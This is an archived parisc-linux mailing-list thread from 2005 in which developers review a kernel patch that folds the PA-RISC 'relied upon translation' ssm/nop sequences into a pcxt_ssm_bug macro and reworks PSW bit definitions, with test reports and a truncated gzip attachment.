	with ESMTP id 21012-08; Wed, 27 Apr 2005 01:12:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F3C27D689;
	Wed, 27 Apr 2005 01:12:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA37A7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 01:12:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21012-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 01:12:26 -0600 (MDT)
Original-Received: from bgo1smout1.broadpark.no (bgo1smout1.broadpark.no [217.13.4.94])
	by free.linux.hp.com (Postfix) with ESMTP id 4B17A7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 01:12:26 -0600 (MDT)
Original-Received: from bgo1sminn1.broadpark.no ([217.13.4.93])
	by bgo1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IFL00LJIFR2CYA0@bgo1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 27 Apr 2005 09:06:38 +0200 (CEST)
Original-Received: from tolstoy.puszczka.com ([80.203.39.188])
	by bgo1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IFL00173G29HM60@bgo1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 27 Apr 2005 09:13:21 +0200 (CEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id 8A4E1133A9; Wed,
	27 Apr 2005 09:18:31 +0200 (CEST)
Original-Received: from 193.160.141.5 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Wed, 27 Apr 2005 09:18:31 +0200 (CEST)
In-reply-to: <20050427065822.GK2612@colo.lackof.org>
Importance: Normal
X-Priority: 3 (Normal)
User-Agent: SquirrelMail/1.4.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MF4dYvJEeSE57L6WZHQhaXN2IGRvb4Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22659

Grant,

> +++ include/asm-parisc/assembly.h	27 Apr 2005 06:27:59 -0000
> @@ -450,5 +450,23 @@
>  	REST_CR	(%cr22, PT_PSW	(\regs))
>  	.endm
>
> +#if defined(CONFIG_PA7000)
> +	.macro	pcxt_ssm_bug
> +	/* Create a "relied upon translation" PA 2.0 Arch. page F-4 and F-5
> +	* The ssm is necessary due to a PCXT bug. Ie not needed for 64-bit.
> +	*/
> +	ssm	0,%r0
> +	nop	/* 1 */
> +	nop	/* 2 */
> +	nop	/* 3 */
> +	nop	/* 4 */
> +	nop	/* 5 */
> +	nop	/* 6 */
> +	nop	/* 7 */
> +	.endm
> +#else
> +#define pcxt_ssm_bug	/* Thank $DIETY. You don't have brain damaged HW. */
> +#endif
> +
>  #endif /* __ASSEMBLY__ */
>  #endif


Make that $DEITY - or is this the weight-watchers version ;-)

-Andy

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Wed, 27 Apr 2005 12:28:06 +0200
Lines: 503
Approved: news@gmane.org
Message-ID: <426F253000000322@mail-6-bnl.tiscali.it>
References: <20050427065822.GK2612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/426F253000000322/mail-6-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623767 14357 80.91.229.3 (22 Nov 2014 02:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:07 +0000 (UTC)
Cc: rhirst@levanta.com
To: "Grant Grundler" <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Apr 2005 10:28:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 Apr 2005 12:28:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79FCE7D683;
	Wed, 27 Apr 2005 04:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21798-05; Wed, 27 Apr 2005 04:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74CEC7D684;
	Wed, 27 Apr 2005 04:28:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8401A7D681
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 04:28:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21798-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 04:28:14 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 571A57D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Apr 2005 04:28:13 -0600 (MDT)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DQjm2-0005xc-GL; Wed, 27 Apr 2005 12:28:07 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Wed, 27 Apr 2005 12:28:06 +0200
In-Reply-To: <20050427065822.GK2612@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AgwdYnMZeSE57L6WZHQhaXN2IGRvb4Ce
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22660


--========/426F253000000322/mail-6-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello Grant,

> 
> 
> Regardless of what this is for, the following patch adds pcxt_ssm_bug
> macro to assembly.h. pcxt_ssm_bug is only enabled for CONFIG_PA7000
> which is only enabled for generic 32-bit kernel.
> 
(what's up for other PA7xxx?)

> I've added pcxt_ssm_bug use to all the locations I could
> find where PSW_SM_Q was being twiddled. Until someone can
> tell me what the bug is exactly, my assumption is it
> is needed for all cases where we "rsm PSW_SM_Q" and not
> just at init time.
> 
> I've also tried to unify all the RFI asm into a similar layout
> that could be (hopefully) replaced with a macro in a future step.
> And I've made them all use "PSW_SM_Q+PSW_SM_I" just to be consistent.
> 
Cool you just did in one shoot what I was testing step by step ;-)

> I apologize in advance since this patch also replaces __LP64__
> with CONFIG_64BIT. I thought it would only be a few but it
> turned out to interfer with the patch.
> 
Exact, that's confusing me a bit so I prepare (here below) sample geting
rid of this change ;-)

> I can split out CONFIG_64BIT changes if someone really needs that
> before reviewing it.  It's just too late tonight for me to do it.
> 

> Can the asm gurus please closely review this patch?
> 
> I don't plan on committing this before it's been tested too.
Thanks for a break to let me test some config (b180, b2k, c110, d380)

So the essence of this patch is:
--- arch/parisc/kernel/entry.S.orig	2005-04-27 11:33:57.000000000 +0200
+++ arch/parisc/kernel/entry.S	2005-04-27 11:34:45.000000000 +0200
@@ -893,9 +893,6 @@
 	 * this way, then we will need to copy %sr3 in to PT_SR[3..7], and
 	 * adjust IASQ[0..1].
 	 *
-	 * Note that the following code uses a "relied upon translation".
-	 * See the parisc ACD for details. The ssm is necessary due to a
-	 * PCXT bug.
 	 */
 
 	.align 4096
@@ -990,24 +987,18 @@
 	rest_fp         %r1
 	rest_general    %r29
 
-	/* Create a "relied upon translation" PA 2.0 Arch. F-5 */
-	ssm		0,%r0
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	tophys_r1       %r29
-	rsm             (PSW_SM_Q|PSW_SM_P|PSW_SM_D|PSW_SM_I),%r0
+	rsm             PSW_SM_QUIET,%r0	/* prepare for rfi */
 
 	/* Restore space id's and special cr's from PT_REGS
-	 * structure pointed to by r29 */
+	 * structure pointed to by r29
+	 */
 	rest_specials	%r29
 
-	/* Important: Note that rest_stack restores r29
-	 * last (we are using it)! It also restores r1 and r30. */
+	/* IMPORTANT: rest_stack restores r29 last (we are using it)!
+	 * It also restores r1 and r30.
+	 */
 	rest_stack
 
 	rfi
--- arch/parisc/kernel/head.S.orig	2005-04-27 11:33:57.000000000 +0200
+++ arch/parisc/kernel/head.S	2005-04-27 11:34:45.000000000 +0200
@@ -254,32 +254,14 @@
 $install_iva:
 	mtctl		%r10,%cr14
 
-#ifdef __LP64__
 	b		aligned_rfi
 	nop
 
-	.align          256
+	.align          128
 aligned_rfi:
-	ssm             0,0
-	nop             /* 1 */
-	nop             /* 2 */
-	nop             /* 3 */
-	nop             /* 4 */
-	nop             /* 5 */
-	nop             /* 6 */
-	nop             /* 7 */
-	nop             /* 8 */
-#endif
-
-#ifdef __LP64__ /* move to psw.h? */
-#define		PSW_BITS	PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
-#else
-#define		PSW_BITS	PSW_SM_Q
-#endif
-
-$rfi:	
-	/* turn off troublesome PSW bits */
-	rsm		PSW_BITS,%r0
+	pcxt_ssm_bug
+	rsm		PSW_SM_QUIET,%r0	/* off troublesome PSW bits */
+	/* Don't need NOPs, have 8 compliant insn below */
 
 	/* kernel PSW:
 	 *  - no interruptions except HPMC and TOC (which are handled by PDC)
--- arch/parisc/kernel/pacache.S.orig	2005-04-27 11:33:57.000000000 +0200=

+++ arch/parisc/kernel/pacache.S	2005-04-27 11:34:45.000000000 +0200
@@ -62,25 +62,10 @@
 	 * to happen in real mode with all interruptions disabled.
 	 */
 
-	/*
-	 * Once again, we do the rfi dance ... some day we need examine
-	 * all of our uses of this type of code and see what can be
-	 * consolidated.
-	 */
-
-	rsm		PSW_SM_I, %r19		/* relied upon translation! PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm		PSW_SM_Q, %r0		/* Turn off Q bit to load iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	/* relied upon translation! PA 2.0 Arch. F-4 and F-5 */
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -88,6 +73,8 @@
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -178,15 +165,14 @@
 	ADDIB>		-1, %r22, fdtoneloop	/* Outer loop count decr */
 	add		%r21, %r20, %r20	/* increment space */
 
-fdtdone:
 
-	/* Switch back to virtual mode */
+fdtdone:
+	/*
+	 * Switch back to virtual mode
+	 */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	or		%r1, %r19, %r1		/* Set I bit if set on entry */
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%(2f), %r1
@@ -194,6 +180,9 @@
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	or		%r1, %r19, %r1		/* Set I bit if set on entry */
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -238,7 +227,7 @@
 
 fisync:
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -281,7 +270,7 @@
 fdsync:
 	syncdma
 	sync
-	mtsm		%r22
+	mtsm		%r22			/* restore I-bit */
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -1005,21 +994,12 @@
 	.callinfo NO_CALLS
 	.entry
 
-	/* Switch to real mode */
+	/*
+	 * Switch to real mode
+	 */
+	pcxt_ssm_bug
 
-	ssm		0, %r0			/* relied upon translation! */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm		(PSW_SM_Q|PSW_SM_I), %r0 /* disable Q&I to load the iia queue */
-	ldil		L%REAL_MODE_PSW, %r1
-	ldo		R%REAL_MODE_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil		L%PA(1f), %r1
@@ -1027,6 +1007,8 @@
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		REAL_MODE_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
@@ -1065,13 +1047,10 @@
 	.word		0x145c1840		/* mtdiag %r28, %dr2 */
 
 srdis_done:
-
 	/* Switch back to virtual mode */
+	pcxt_ssm_bug
 
-	rsm		PSW_SM_Q, %r0		/* clear Q bit to load iia queue */
-	ldil		L%KERNEL_PSW, %r1
-	ldo		R%KERNEL_PSW(%r1), %r1
-	mtctl		%r1, %cr22
+	rsm		PSW_SM_Q+PSW_SM_I, %r0	/* prep to load iia queue */
 	mtctl		%r0, %cr17		/* Clear IIASQ tail */
 	mtctl		%r0, %cr17		/* Clear IIASQ head */
 	ldil 	   	L%(2f), %r1
@@ -1079,6 +1058,8 @@
 	mtctl		%r1, %cr18		/* IIAOQ head */
 	ldo		4(%r1), %r1
 	mtctl		%r1, %cr18		/* IIAOQ tail */
+	load32		KERNEL_PSW, %r1
+	mtctl		%r1, %cr22
 	rfi
 	nop
 
--- arch/parisc/kernel/real2.S.orig	2005-04-27 11:33:57.000000000 +0200
+++ arch/parisc/kernel/real2.S	2005-04-27 11:34:45.000000000 +0200
@@ -147,17 +147,9 @@
 	.text
 rfi_virt2real:
 	/* switch to real mode... */
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
+	pcxt_ssm_bug
 	
-	rsm             (PSW_SM_Q|PSW_SM_I),%r0  /* disable Q & I bits to load
iia queue */
+	rsm             PSW_SM_Q+PSW_SM_I,%r0  /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		PA(rfi_v2r_1), %r1
@@ -184,17 +176,9 @@
 	.text
 	.align 128
 rfi_real2virt:
-	ssm		0,0		/* See "relied upon translation" */
-	nop				/* PA 2.0 Arch. F-5 */
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	
-	rsm             PSW_SM_Q,%r0    /* disable Q bit to load iia queue */
+	pcxt_ssm_bug
+
+	rsm             PSW_SM_Q+PSW_SM_I,%r0    /* prep to load iia queue */
 	mtctl		%r0, %cr17	/* Clear IIASQ tail */
 	mtctl		%r0, %cr17	/* Clear IIASQ head */
 	load32		(rfi_r2v_1), %r1
--- include/asm-parisc/assembly.h.orig	2005-04-27 11:33:57.000000000 +020=
0
+++ include/asm-parisc/assembly.h	2005-04-27 11:34:45.000000000 +0200
@@ -450,5 +450,23 @@
 	REST_CR	(%cr22, PT_PSW	(\regs))
 	.endm
 
+#if defined(CONFIG_PA7000)
+	.macro	pcxt_ssm_bug
+	/* Create a "relied upon translation" PA 2.0 Arch. page F-4 and F-5
+	* The ssm is necessary due to a PCXT bug. Ie not needed for 64-bit.
+	*/
+	ssm	0,%r0
+	nop	/* 1 */
+	nop	/* 2 */
+	nop	/* 3 */
+	nop	/* 4 */
+	nop	/* 5 */
+	nop	/* 6 */
+	nop	/* 7 */
+	.endm
+#else
+#define pcxt_ssm_bug	/* Thank $DIETY. You don't have brain damaged HW. *=
/
+#endif
+
 #endif /* __ASSEMBLY__ */
 #endif
--- include/asm-parisc/psw.h.orig	2005-04-27 11:33:57.000000000 +0200
+++ include/asm-parisc/psw.h	2005-04-27 11:34:45.000000000 +0200
@@ -9,6 +9,16 @@
 #define	PSW_G	0x00000040	/* PA1.x only */
 #define PSW_O	0x00000080	/* PA2.0 only */
 
+/* ssm/rsm instructions number PSW_W and PSW_E differently */
+#define PSW_SM_I	PSW_I	/* Enable External Interrupts */
+#define PSW_SM_D	PSW_D
+#define PSW_SM_P	PSW_P
+#define PSW_SM_Q	PSW_Q	/* Enable Interrupt State Collection */
+#define PSW_SM_R	PSW_R	/* Enable Recover Counter Trap */
+#define PSW_SM_W	0x200	/* PA2.0 only : Enable Wide Mode */
+
+#define PSW_SM_QUIET	PSW_SM_R+PSW_SM_Q+PSW_SM_P+PSW_SM_D+PSW_SM_I
+
 #define PSW_CB	0x0000ff00
 
 #define	PSW_M	0x00010000
@@ -31,32 +41,20 @@
 #define	PSW_Y	0x80000000	/* PA1.x only */
 
 #ifdef __LP64__
-#define PSW_HI_CB 0x000000ff    /* PA2.0 only */
+#  define PSW_HI_CB 0x000000ff    /* PA2.0 only */
 #endif
 
-/* PSW bits to be used with ssm/rsm */
-#define PSW_SM_I        0x1
-#define PSW_SM_D        0x2
-#define PSW_SM_P        0x4
-#define PSW_SM_Q        0x8
-#define PSW_SM_R        0x10
-#define PSW_SM_F        0x20
-#define PSW_SM_G        0x40
-#define PSW_SM_O        0x80
-#define PSW_SM_E        0x100
-#define PSW_SM_W        0x200
-
 #ifdef __LP64__
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_W | PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_W | PSW_Q)
-#  define USER_PSW_MASK (PSW_W | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V |=

PSW_CB)
-#  define USER_PSW_HI_MASK (PSW_HI_CB)
-#else
-#  define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
-#  define KERNEL_PSW    (PSW_C | PSW_Q | PSW_P | PSW_D)
-#  define REAL_MODE_PSW (PSW_Q)
-#  define USER_PSW_MASK (PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)=

+#  define USER_PSW_HI_MASK	PSW_HI_CB
+#  define WIDE_PSW		PSW_W
+#else 
+#  define WIDE_PSW		0
 #endif
 
+/* Used when setting up for rfi */
+#define KERNEL_PSW    (WIDE_PSW | PSW_C | PSW_Q | PSW_P | PSW_D)
+#define REAL_MODE_PSW (WIDE_PSW | PSW_Q)
+#define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V
| PSW_CB)
+#define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
+
 #endif
=3D=3D=3D=3D<>=3D=3D=3D=3D

notes:
    o already test with success for b180, d380 (32bit smp) following:
        #define		PSW_BITS	PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R

    o jda also suggesting;
        .align 128
srdis_done:

(and most probably also for 'fdtdone:' I will try to test too)

Hth and thanks again,
    Joel



--========/426F253000000322/mail-6-bnl.tiscali.it
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="diff-2.6.12-rc3-pa1-pcxt_ssm_bug2.gz"

H4sICApnb0IAA2RpZmYtMi42LjEyLXJjMy1wYTEtcGN4dF9zc21fYnVnMgDVGmt32sbys/gV26Zp
7QhkSQjz+HBvMJCEUz945bo5vT06QloZNULiroRtzumPvzO7EugBDk6TNvUHVtLszszOe2ddq9WI
xezF2cpiXmSffaQsoP4ZDWK2UaZKyLw7SVfVRk01anqTaFqnXu80moqa/hFZBXhFluUn8BRRGB2j
UULx+jWptdr1apvIOJyT168rRCKvSLzwIvJgbarwRAPyQMmD5/skoNQhcUjscLUhLyNWJ16A76OZ
OZ38WleU5m9VYgWOQGI5v6+jmAy70/GvqqJovyn8e6WGwOswpoDcipECcUPfDx+84A5QO5SsIxoR
i3zPqO8BxfUqBDLMCiLfir0w+F4ROKaU8tVCAKTb6wMiRhwaW54fKWQGsChaEthLQG0aRRbbEGdN
kWVLoBj1fpmR+fpOsHZWITAqlu/dBcRQ2+dcQu22WtUNIrdbzarWEjJiNIpNd0XSv5dMS7/e0YAy
yxdf9TagrElnr0iPUQu2/MSuyKhLdEUlXVCqQt7UGshQTYIdSJJafclUeAnC1VG/srSyH2MT1pqw
O2AtDleLTWQybcswsFaTGIgn+3cymt6a0ytz/EfyMEof+unD8JTzIpfWpkvfDwcznIK7XjEK2qFc
L8z1UhEDZAKyCgESrSybEs/5KULLgVdqeyA9m8EHl4VLNK7J4O1U6CuK2dqO17BuFXpBLMxxviGw
G8Qtf2IOn3CWaiqhFUlZPQ2Xq5DFVhB3MjYqpseW/ZE/At8REQIEer4FVn4CPoIbXUdoxV58+h0Z
xgSQh5kVGt8iq6uKYBbJXY1uJrPu9axziMgh/GKzTxEp7BYxc+mDIiq1/VFoQS3nCwQhgeboGKQ3
jGpdJzKOmsE97AcvAIZ93/TurQ7wvIzt2JdAUxq4gs00A/X1wnMd6hLTvBydG6YJ0+aSxL2XOibu
knBnQM0mTr390xvnIJ7iV01vVUgGQUf4X87M1WriiLmvoEpN+OseiH4QUj8IMQ5CGgch5wchzYOQ
Foe8oIHjuZVaSaY4ZRne85i5ih6Uxb/FfJjjBVSS0OkvhrMpfxjL+Dvkv33+O+K/EyTgR/TQOowa
WR5+QNFLwh/BkQMSui6EynA992kULimGGjL34kjsimGETBEmwSkX/uTdlGKAegozd9B+GPwUi8x3
fTOKqmRhgTRakKiWK9+DOAE5MArInEICy4Q34QiIriOyIamRICQYjxhbrzDgR4Q+2nQVk3ejqx53
2tlNDxx94dkL7usL+OYDXYhdo37v9JDPQgC17AX9Am67xXS0557rVb1BZBg0dVc9hMD6agWFA5QH
kPZ8sCAHS4gY9gVlRF4IjhdZIH1nl4JR7yK03gSQG6w7ywuqWIQ4Ic/3mEgcC0GKohCuNsfa4ASu
JvpoLcHGBAakF7okXDNRVcAzL27izYriC683eOKBYuIBY71toTbFahsYDH3PgcztiKLjDO0zZ07D
Kmb/toRaP5DavzuQ2j87mxdYGCMLKudglrrLGM0YVeGHlkM8zyL/W1OofThh3/EgmF6+nAy6l+bV
TX9gAia+Dw4MJWmSh50A6DSdsIvF8MVmui485djNG1zeiRAKrilnhbqtIPZvI5MUVM6I1uQi6PnU
YmSIdSfBSvDYuZi0xNxUPKPuieYm2+a1cgtqZLlZryZVYEEQWovjBGw3eWwgTyMjwacXpizLEm65
roMuylqS9yhBJPY05SG/WrNV1cA9tfNGmlelbr8/vPiXJNVwHSyrEteJQ/D+MFwhEzdrcE6Cb2D9
awhvDrWZ2IjlOEhQFytV8YtrvMBmdAknj6SaE14MeB1A3EkrqykEAIhscyxwQKH3HovXaWzA/W7n
ozWJ6uaJJUlxU3SNw55hc1Uf5RY/DybXg8s9PrED5BwiZKkiIBDwX05xSuH0w+l5LsSXmIBj8OOZ
oLbPjb5hZzjRs66gtQ30Ba2lwunxr3SGom7kz5L+cf6j11vVJpSlehMG3GSFuF60CWzM6ThyLaLK
Xgr17V6kJB+IQ86whnxwAczvudxBAvppSkxS6KMXC5ItjZNsqglJ18kSdJbWVyOtQc6v6hocdEG3
mi60qtiQQb3ADaH6MXvdy8spX4NyLPh1HGZyfVI95bw4O+Gw9ybHXeG2T6aVZ6XQ2jZnlo64Q26J
Kla6SS1Cxj8Ot26GFcdXT5/fsN8Xk6Cmgjug66tq8x+TCFXMgHVk2mhuS1XlIWSQ0dRHzWjYWssQ
eWIZO551h7mtBQgdpidVfcTAOkyRoWqiyP9URvsWctM/yNqg/ieknGnUZlvYW6P1F9tbOdd8ytgO
HNEw7ulf4ICW4Dn6eKahtUM6wTFJ00pMH+MKnqFMtFcdUXaEOUflOI0HrGwXUk1SK32ijZnGZUnE
769y9Ml1MfZFdAzouYhOfhTVQLTfsg+3M3f+keJ8nn88wz0Oe0dikBCLueJ0ZmpZF2kZQs3N84Ka
0w4Xb2zhUm5BqPjO36jU2j4tbqMiF3NBeQcDY7HTc7wi/2ZVckUy/X6rSAwdcJDy1w49s6JlLfF8
K4rocu5vlMXzoseTqI4OIEZDrcIBEge9LixrMpjOzN5EOuHxr4r9eRCsdPJfRu+i01NRHjpLCIby
C6i8RcPPOendXL8ZvjVH3SZQOMXe69KyWVhs1H3GTcnKuqPZtgJgefX03c/u2ocMKQlC0d8DSnhN
cW5gxYzNc25e6CNq0lQMxBFZE4aXvOm5t3ruzci9NXJv57m3pngTopNFt1ROuqUkKyPe5FlYwUfy
Q384mH1QyIdwTRzepeStyTmzvIA41hLE4pB3t+KuIWmuyhUintD4TbM7nQ6uLi4/mCY3zrQDu98S
efv3Txshx3K0/fHM365q4moy7R6jI7+Fuk1MN1QRkTTlEc54/kZsJREdTr3ZTm0lU9F4tlMrMua+
aHmGgQOvHfD6iLcmg/VyThnHccutC58GEJZclzI4AwkEcpYWxhfO3xApDQIevwaPMeRvSKnDtPMZ
7VvY5wv7pe8j/n1U+j4WTfcMoS1+Mo3Rh3qh71O+mX30Jnz9JLN+Qu3wHnbcw84PjDNmrfatvAWJ
gooKwuykaG49KICv0iq4zDc24NP6cyIX4/MofehvIza32wyS3kWiUtcFQyF5y7gSMA3h3IjqGr9d
MrSqrpbs6APMbiWGt8eOYHLhkqmWZeTdEHghqXm5bpJW8hYmvyDkuWtSX4SSEmHprQTeZPL7cUe0
01OzzdzJbM0wzX9wvikB+zugXgKOdkCjBBzvgK0ScJKhqZagbzJEy9C3Gapl6E2GbBk6yNItg2+z
